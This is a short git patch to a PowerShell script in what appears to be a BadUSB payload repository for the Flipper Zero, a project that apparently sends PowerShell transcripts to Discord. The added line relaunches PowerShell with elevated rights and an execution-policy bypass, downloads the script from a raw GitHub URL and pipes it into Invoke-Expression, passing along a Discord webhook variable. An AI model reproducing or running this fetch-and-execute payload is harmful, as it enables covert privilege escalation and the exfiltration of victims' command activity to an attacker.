From 874caeb7cd7e526d6d08dab92911e4f1d4fd6786 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Wed, 3 Apr 2024 19:51:18 +0000 Subject: [PATCH] Update main.ps1 --- Global-PS-Trascription-to-Discord/main.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Global-PS-Trascription-to-Discord/main.ps1 b/Global-PS-Trascription-to-Discord/main.ps1 index 8134eb3..cd1b7f6 100644 --- a/Global-PS-Trascription-to-Discord/main.ps1 +++ b/Global-PS-Trascription-to-Discord/main.ps1 @@ -23,7 +23,7 @@ Function RestartScript{ Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs } else{ - Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C ") -Verb RunAs + Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C `$dc='$dc'; irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1 | iex") -Verb RunAs } exit